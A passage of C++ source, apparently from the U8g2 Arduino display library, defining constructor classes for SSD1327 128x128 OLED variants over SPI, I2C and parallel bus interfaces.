u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_ZJY_128X128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_ZJY_128X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_zjy_128x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_ZJY_128X128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_ZJY_128X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_zjy_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_ZJY_128X128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_ZJY_128X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_zjy_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_ZJY_128X128_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_ZJY_128X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_zjy_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1327_ZJY_128X128_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_ZJY_128X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_zjy_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1327_ZJY_128X128_2_6800 : public U8G2 {\n  public: U8G2_SSD1327_ZJY_128X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_zjy_128x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_ZJY_128X128_2_8080 : public U8G2 {\n  public: U8G2_SSD1327_ZJY_128X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_zjy_128x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_128x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_128x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_2_6800 : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_128x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_2_8080 : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_128x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ea_w128128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ea_w128128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ea_w128128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ea_w128128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ea_w128128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_F_6800 : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ea_w128128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_F_8080 : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ea_w128128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_midas_128x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_midas_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_midas_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_midas_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_midas_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_F_6800 : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_midas_128x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_F_8080 : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_midas_128x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_ZJY_128X128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_ZJY_128X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_zjy_128x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_ZJY_128X128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_ZJY_128X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_zjy_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_ZJY_128X128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_ZJY_128X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_zjy_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_ZJY_128X128_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_ZJY_128X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_zjy_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1327_ZJY_128X128_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_ZJY_128X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_zjy_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1327_ZJY_128X128_F_6800 : public U8G2 {\n  public: U8G2_SSD1327_ZJY_128X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_zjy_128x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_ZJY_128X128_F_8080 : public U8G2 {\n  public: U8G2_SSD1327_ZJY_128X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_zjy_128x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_128x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_F_6800 : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_128x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_F_8080 : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_ws_128x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ea_w128128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ea_w128128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ea_w128128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_midas_128x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_midas_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_midas_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ws_128x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ws_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ws_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ea_w128128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ea_w128128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), 